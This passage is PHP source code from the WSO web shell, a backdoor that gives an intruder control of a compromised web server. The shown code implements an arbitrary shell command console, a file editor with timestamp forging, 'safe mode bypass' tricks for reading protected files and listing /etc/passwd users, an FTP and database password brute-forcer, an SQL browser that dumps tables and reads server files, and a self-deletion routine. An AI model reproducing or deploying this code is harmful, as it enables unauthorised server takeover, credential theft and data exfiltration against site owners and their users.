624 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
625 if(class_exists('ZipArchive'))
626 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
627 if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
628 echo "<option value='paste'>Paste / zip</option>";
629 echo "</select> <input type='submit' value='>>'></td></tr></form></table></div>";
630 wsoFooter();
631}
632
633function actionStringTools() {
634 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
635 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
636 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
637 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
638 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
639 $stringTools = array(
640 'Base64 encode' => 'base64_encode',
641 'Base64 decode' => 'base64_decode',
642 'Url encode' => 'urlencode',
643 'Url decode' => 'urldecode',
644 'Full urlencode' => 'full_urlencode',
645 'md5 hash' => 'md5',
646 'sha1 hash' => 'sha1',
647 'crypt' => 'crypt',
648 'CRC32' => 'crc32',
649 'ASCII to HEX' => 'ascii2hex',
650 'HEX to ASCII' => 'hex2ascii',
651 'HEX to DEC' => 'hexdec',
652 'HEX to BIN' => 'hex2bin',
653 'DEC to HEX' => 'dechex',
654 'DEC to BIN' => 'decbin',
655 'BIN to HEX' => 'binhex',
656 'BIN to DEC' => 'bindec',
657 'String to lower case' => 'strtolower',
658 'String to upper case' => 'strtoupper',
659 'Htmlspecialchars' => 'htmlspecialchars',
660 'String length' => 'strlen',
661 );
662 if(isset($_POST['ajax'])) {
663 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
664 ob_start();
665 if(in_array($_POST['p1'], $stringTools))
666 echo $_POST['p1']($_POST['p2']);
667 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
668 echo strlen($temp), "\n", $temp;
669 exit;
670 }
671 wsoHeader();
672 echo '<h1>String conversions</h1><div class=content>';
673 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
674 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
675 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
676 foreach($stringTools as $k => $v)
677 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
678 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
679 if(!empty($_POST['p1'])) {
680 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
681 }
682 echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
683 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
684 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
685 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
686 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
687 <tr><td></td><td><input type='submit' value='>>'></td></tr>
688 </table></form>";
689
690 function wsoRecursiveGlob($path) {
691 if(substr($path, -1) != '/')
692 $path.='/';
693 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
694 if(is_array($paths)&&@count($paths)) {
695 foreach($paths as $item) {
696 if(@is_dir($item)){
697 if($path!=$item)
698 wsoRecursiveGlob($item);
699 } else {
700 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
701 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
702 }
703 }
704 }
705 }
706 if(@$_POST['p3'])
707 wsoRecursiveGlob($_POST['c']);
708 echo "</div><br><h1>Search for hash:</h1><div class=content>
709 <form method='post' target='_blank' name='hf'>
710 <input type='text' name='hash' style='width:200px;'><br>
711 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
712 <input type='button' value='sEc-r1z.com' onclick=\"document.hf.action='http://www.sEc-r1z.com/cracker/search.php';document.hf.submit()\"><br>
713 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
714 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
715 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
716 </form></div>";
717 wsoFooter();
718}
719
720function actionFilesTools() {
721 if( isset($_POST['p1']) )
722 $_POST['p1'] = urldecode($_POST['p1']);
723 if(@$_POST['p2']=='download') {
724 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
725 ob_start("ob_gzhandler", 4096);
726 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
727 if (function_exists("mime_content_type")) {
728 $type = @mime_content_type($_POST['p1']);
729 header("Content-Type: ".$type);
730 }
731 $fp = @fopen($_POST['p1'], "r");
732 if($fp) {
733 while(!@feof($fp))
734 echo @fread($fp, 1024);
735 fclose($fp);
736 }
737 }exit;
738 }
739 if( @$_POST['p2'] == 'mkfile' ) {
740 if(!file_exists($_POST['p1'])) {
741 $fp = @fopen($_POST['p1'], 'w');
742 if($fp) {
743 $_POST['p2'] = "edit";
744 fclose($fp);
745 }
746 }
747 }
748 wsoHeader();
749 echo '<h1>File tools</h1><div class=content>';
750 if( !file_exists(@$_POST['p1']) ) {
751 echo 'File not exists';
752 wsoFooter();
753 return;
754 }
755 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
756 if(!$uid) {
757 $uid['name'] = @fileowner($_POST['p1']);
758 $gid['name'] = @filegroup($_POST['p1']);
759 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
760 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
761 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
762 if( empty($_POST['p2']) )
763 $_POST['p2'] = 'view';
764 if( is_file($_POST['p1']) )
765 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
766 else
767 $m = array('Chmod', 'Rename', 'Touch');
768 foreach($m as $v)
769 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
770 echo '<br><br>';
771 switch($_POST['p2']) {
772 case 'view':
773 echo '<pre class=ml1>';
774 $fp = @fopen($_POST['p1'], 'r');
775 if($fp) {
776 while( !@feof($fp) )
777 echo htmlspecialchars(@fread($fp, 1024));
778 @fclose($fp);
779 }
780 echo '</pre>';
781 break;
782 case 'highlight':
783 if( @is_readable($_POST['p1']) ) {
784 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
785 $code = @highlight_file($_POST['p1'],true);
786 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
787 }
788 break;
789 case 'chmod':
790 if( !empty($_POST['p3']) ) {
791 $perms = 0;
792 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
793 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
794 if(!@chmod($_POST['p1'], $perms))
795 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
796 }
797 clearstatcache();
798 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
799 break;
800 case 'edit':
801 if( !is_writable($_POST['p1'])) {
802 echo 'File isn\'t writeable';
803 break;
804 }
805 if( !empty($_POST['p3']) ) {
806 $time = @filemtime($_POST['p1']);
807 $_POST['p3'] = substr($_POST['p3'],1);
808 $fp = @fopen($_POST['p1'],"w");
809 if($fp) {
810 @fwrite($fp,$_POST['p3']);
811 @fclose($fp);
812 echo 'Saved!<br><script>p3_="";</script>';
813 @touch($_POST['p1'],$time,$time);
814 }
815 }
816 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
817 $fp = @fopen($_POST['p1'], 'r');
818 if($fp) {
819 while( !@feof($fp) )
820 echo htmlspecialchars(@fread($fp, 1024));
821 @fclose($fp);
822 }
823 echo '</textarea><input type=submit value=">>"></form>';
824 break;
825 case 'hexdump':
826 $c = @file_get_contents($_POST['p1']);
827 $n = 0;
828 $h = array('00000000<br>','','');
829 $len = strlen($c);
830 for ($i=0; $i<$len; ++$i) {
831 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
832 switch ( ord($c[$i]) ) {
833 case 0: $h[2] .= ' '; break;
834 case 9: $h[2] .= ' '; break;
835 case 10: $h[2] .= ' '; break;
836 case 13: $h[2] .= ' '; break;
837 default: $h[2] .= $c[$i]; break;
838 }
839 $n++;
840 if ($n == 32) {
841 $n = 0;
842 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
843 $h[1] .= '<br>';
844 $h[2] .= "\n";
845 }
846 }
847 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
848 break;
849 case 'rename':
850 if( !empty($_POST['p3']) ) {
851 if(!@rename($_POST['p1'], $_POST['p3']))
852 echo 'Can\'t rename!<br>';
853 else
854 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
855 }
856 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
857 break;
858 case 'touch':
859 if( !empty($_POST['p3']) ) {
860 $time = strtotime($_POST['p3']);
861 if($time) {
862 if(!touch($_POST['p1'],$time,$time))
863 echo 'Fail!';
864 else
865 echo 'Touched!';
866 } else echo 'Bad time format!';
867 }
868 clearstatcache();
869 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
870 break;
871 }
872 echo '</div>';
873 wsoFooter();
874}
875
876function actionSafeMode() {
877 $temp='';
878 ob_start();
879 switch($_POST['p1']) {
880 case 1:
881 $temp=@tempnam($test, 'cx');
882 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
883 echo @file_get_contents($temp);
884 unlink($temp);
885 } else
886 echo 'Sorry... Can\'t open file';
887 break;
888 case 2:
889 $files = glob($_POST['p2'].'*');
890 if( is_array($files) )
891 foreach ($files as $filename)
892 echo $filename."\n";
893 break;
894 case 3:
895 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
896 curl_exec($ch);
897 break;
898 case 4:
899 ini_restore("safe_mode");
900 ini_restore("open_basedir");
901 include($_POST['p2']);
902 break;
903 case 5:
904 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
905 $uid = @posix_getpwuid($_POST['p2']);
906 if ($uid)
907 echo join(':',$uid)."\n";
908 }
909 break;
910 }
911 $temp = ob_get_clean();
912 wsoHeader();
913 echo '<h1>Safe mode bypass</h1><div class=content>';
914 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
915 if($temp)
916 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
917 echo '</div>';
918 wsoFooter();
919}
920
921function actionConsole() {
922 if(isset($_POST['ajax'])) {
923 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
924 ob_start();
925 echo "document.cf.cmd.value='';\n";
926 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
927 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
928 if(@chdir($match[1])) {
929 $GLOBALS['cwd'] = @getcwd();
930 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
931 }
932 }
933 echo "document.cf.output.value+='".$temp."';";
934 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
935 $temp = ob_get_clean();
936 echo strlen($temp), "\n", $temp;
937 exit;
938 }
939 wsoHeader();
940 echo "<script>
941if(window.Event) window.captureEvents(Event.KEYDOWN);
942var cmds = new Array('');
943var cur = 0;
944function kp(e) {
945 var n = (window.Event) ? e.which : e.keyCode;
946 if(n == 38) {
947 cur--;
948 if(cur>=0)
949 document.cf.cmd.value = cmds[cur];
950 else
951 cur++;
952 } else if(n == 40) {
953 cur++;
954 if(cur < cmds.length)
955 document.cf.cmd.value = cmds[cur];
956 else
957 cur--;
958 }
959}
960function add(cmd) {
961 cmds.pop();
962 cmds.push(cmd);
963 cmds.push('');
964 cur = cmds.length-1;
965}
966</script>";
967 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
968 foreach($GLOBALS['aliases'] as $n => $v) {
969 if($v == '') {
970 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
971 continue;
972 }
973 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
974 }
975 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
976 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
977 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
978 if(!empty($_POST['p1'])) {
979 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
980 }
981 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
982 echo '</form></div><script>document.cf.cmd.focus();</script>';
983 wsoFooter();
984}
985
986function actionLogout() {
987 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
988 die('bye!');
989}
990
991function actionSelfRemove() {
992
993 if($_POST['p1'] == 'yes')
994 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
995 die('Shell has been removed');
996 else
997 echo 'unlink error!';
998 if($_POST['p1'] != 'yes')
999 wsoHeader();
1000 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1001 wsoFooter();
1002}
1003
1004function actionBruteforce() {
1005 wsoHeader();
1006 if( isset($_POST['proto']) ) {
1007 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1008 if( $_POST['proto'] == 'ftp' ) {
1009 function bruteForce($ip,$port,$login,$pass) {
1010 $fp = @ftp_connect($ip, $port?$port:21);
1011 if(!$fp) return false;
1012 $res = @ftp_login($fp, $login, $pass);
1013 @ftp_close($fp);
1014 return $res;
1015 }
1016 } elseif( $_POST['proto'] == 'mysql' ) {
1017 function bruteForce($ip,$port,$login,$pass) {
1018 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1019 @mysql_close($res);
1020 return $res;
1021 }
1022 } elseif( $_POST['proto'] == 'pgsql' ) {
1023 function bruteForce($ip,$port,$login,$pass) {
1024 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1025 $res = @pg_connect($str);
1026 @pg_close($res);
1027 return $res;
1028 }
1029 }
1030 $success = 0;
1031 $attempts = 0;
1032 $server = explode(":", $_POST['server']);
1033 if($_POST['type'] == 1) {
1034 $temp = @file('/etc/passwd');
1035 if( is_array($temp) )
1036 foreach($temp as $line) {
1037 $line = explode(":", $line);
1038 ++$attempts;
1039 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1040 $success++;
1041 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1042 }
1043 if(@$_POST['reverse']) {
1044 $tmp = "";
1045 for($i=strlen($line[0])-1; $i>=0; --$i)
1046 $tmp .= $line[0][$i];
1047 ++$attempts;
1048 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1049 $success++;
1050 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1051 }
1052 }
1053 }
1054 } elseif($_POST['type'] == 2) {
1055 $temp = @file($_POST['dict']);
1056 if( is_array($temp) )
1057 foreach($temp as $line) {
1058 $line = trim($line);
1059 ++$attempts;
1060 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1061 $success++;
1062 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1063 }
1064 }
1065 }
1066 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1067 }
1068 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1069 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1070 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1071 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1072 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1073 .'<span>Server:port</span></td>'
1074 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1075 .'<tr><td><span>Brute type</span></td>'
1076 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1077 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1078 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1079 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1080 .'<td><input type=text name=login value="root"></td></tr>'
1081 .'<tr><td><span>Dictionary</span></td>'
1082 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1083 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1084 echo '</div><br>';
1085 wsoFooter();
1086}
1087
1088function actionSql() {
1089 class DbClass {
1090 var $type;
1091 var $link;
1092 var $res;
1093 function DbClass($type) {
1094 $this->type = $type;
1095 }
1096 function connect($host, $user, $pass, $dbname){
1097 switch($this->type) {
1098 case 'mysql':
1099 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1100 break;
1101 case 'pgsql':
1102 $host = explode(':', $host);
1103 if(!$host[1]) $host[1]=5432;
1104 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1105 break;
1106 }
1107 return false;
1108 }
1109 function selectdb($db) {
1110 switch($this->type) {
1111 case 'mysql':
1112 if (@mysql_select_db($db))return true;
1113 break;
1114 }
1115 return false;
1116 }
1117 function query($str) {
1118 switch($this->type) {
1119 case 'mysql':
1120 return $this->res = @mysql_query($str);
1121 break;
1122 case 'pgsql':
1123 return $this->res = @pg_query($this->link,$str);
1124 break;
1125 }
1126 return false;
1127 }
1128 function fetch() {
1129 $res = func_num_args()?func_get_arg(0):$this->res;
1130 switch($this->type) {
1131 case 'mysql':
1132 return @mysql_fetch_assoc($res);
1133 break;
1134 case 'pgsql':
1135 return @pg_fetch_assoc($res);
1136 break;
1137 }
1138 return false;
1139 }
1140 function listDbs() {
1141 switch($this->type) {
1142 case 'mysql':
1143 return $this->res = @mysql_list_dbs($this->link);
1144 break;
1145 case 'pgsql':
1146 return $this->res = $this->query("SELECT datname FROM pg_database");
1147 break;
1148 }
1149 return false;
1150 }
1151 function listTables() {
1152 switch($this->type) {
1153 case 'mysql':
1154 return $this->res = $this->query('SHOW TABLES');
1155 break;
1156 case 'pgsql':
1157 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
1158 break;
1159 }
1160 return false;
1161 }
1162 function error() {
1163 switch($this->type) {
1164 case 'mysql':
1165 return @mysql_error($this->link);
1166 break;
1167 case 'pgsql':
1168 return @pg_last_error($this->link);
1169 break;
1170 }
1171 return false;
1172 }
1173 function setCharset($str) {
1174 switch($this->type) {
1175 case 'mysql':
1176 if(function_exists('mysql_set_charset'))
1177 return @mysql_set_charset($str, $this->link);
1178 else
1179 $this->query('SET CHARSET '.$str);
1180 break;
1181 case 'pgsql':
1182 return @pg_set_client_encoding($this->link, $str);
1183 break;
1184 }
1185 return false;
1186 }
1187 function loadFile($str) {
1188 switch($this->type) {
1189 case 'mysql':
1190 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1191 break;
1192 case 'pgsql':
1193 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1194 $r=array();
1195 while($i=$this->fetch())
1196 $r[] = $i['file'];
1197 $this->query('drop table wso2');
1198 return array('file'=>implode("\n",$r));
1199 break;
1200 }
1201 return false;
1202 }
1203 function dump($table) {
1204 switch($this->type) {
1205 case 'mysql':
1206 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1207 $create = mysql_fetch_array($res);
1208 echo $create[1].";\n\n";
1209 $this->query('SELECT * FROM `'.$table.'`');
1210 while($item = $this->fetch()) {
1211 $columns = array();
1212 foreach($item as $k=>$v) {
1213 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1214 $columns[] = "`".$k."`";
1215 }
1216 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1217 }
1218 break;
1219 case 'pgsql':
1220 $this->query('SELECT * FROM '.$table);
1221 while($item = $this->fetch()) {
1222 $columns = array();
1223 foreach($item as $k=>$v) {
1224 $item[$k] = "'".addslashes($v)."'";
1225 $columns[] = $k;
1226 }
1227 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1228 }
1229 break;
1230 }
1231 return false;
1232 }
1233 };
1234 $db = new DbClass($_POST['type']);
1235 if(@$_POST['p2']=='download') {
1236 ob_start("ob_gzhandler", 4096);
1237 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1238 $db->selectdb($_POST['sql_base']);
1239 header("Content-Disposition: attachment; filename=dump.sql");
1240 header("Content-Type: text/plain");
1241 foreach($_POST['tbl'] as $v)
1242 $db->dump($v);
1243 exit;
1244 }
1245 wsoHeader();
1246 echo "
1247<h1>Sql browser</h1><div class=content>
1248<form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
1249<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1250<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1251<td><select name='type'><option value='mysql' ";
1252 if(@$_POST['type']=='mysql')echo 'selected';
1253echo ">MySql</option><option value='pgsql' ";
1254if(@$_POST['type']=='pgsql')echo 'selected';
1255echo ">PostgreSql</option></select></td>
1256<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
1257<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
1258<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
1259 $tmp = "<input type=text name=sql_base value=''>";
1260 if(isset($_POST['sql_host'])){
1261 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1262 switch($_POST['charset']) {
1263 case "Windows-1251": $db->setCharset('cp1251'); break;
1264 case "UTF-8": $db->setCharset('utf8'); break;
1265 case "KOI8-R": $db->setCharset('koi8r'); break;
1266 case "KOI8-U": $db->setCharset('koi8u'); break;
1267 case "cp866": $db->setCharset('cp866'); break;
1268 }
1269 $db->listDbs();
1270 echo "<select name=sql_base><option value=''></option>";
1271 while($item = $db->fetch()) {
1272 list($key, $value) = each($item);
1273 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1274 }
1275 echo '</select>';
1276 }
1277 else echo $tmp;
1278 }else
1279 echo $tmp;
1280 echo "</td>
1281 <td><input type=submit value='>>'></td>
1282 </tr>
1283 </table>
1284 <script>
1285 function st(t,l) {
1286 document.sf.p1.value = 'select';
1287 document.sf.p2.value = t;
1288 if(l!=null)document.sf.p3.value = l;
1289 document.sf.submit();
1290 }
1291 function is() {
1292 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1293 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1294 }
1295 </script>";
1296 if(isset($db) && $db->link){
1297 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1298 if(!empty($_POST['sql_base'])){
1299 $db->selectdb($_POST['sql_base']);
1300 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1301 $tbls_res = $db->listTables();
1302 while($item = $db->fetch($tbls_res)) {
1303 list($key, $value) = each($item);
1304 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1305 $value = htmlspecialchars($value);
1306 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1307 }
1308 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1309 if(@$_POST['p1'] == 'select') {
1310 $_POST['p1'] = 'query';
1311 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1312 $num = $db->fetch();
1313 $num = $num['n'];
1314 echo "<span>".$_POST['p2']."</span> ($num) ";
1315 for($i=0;$i<($num/30);$i++)
1316 if($i != (int)$_POST['p3'])
1317 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1318 else
1319 echo ($i+1)," ";
1320 if($_POST['type']=='pgsql')
1321 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1322 else
1323 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1324 echo "<br><br>";
1325 }
1326 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1327 $db->query(@$_POST['p3']);
1328 if($db->res !== false) {
1329 $title = false;
1330 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1331 $line = 1;
1332 while($item = $db->fetch()) {
1333 if(!$title) {
1334 echo '<tr>';
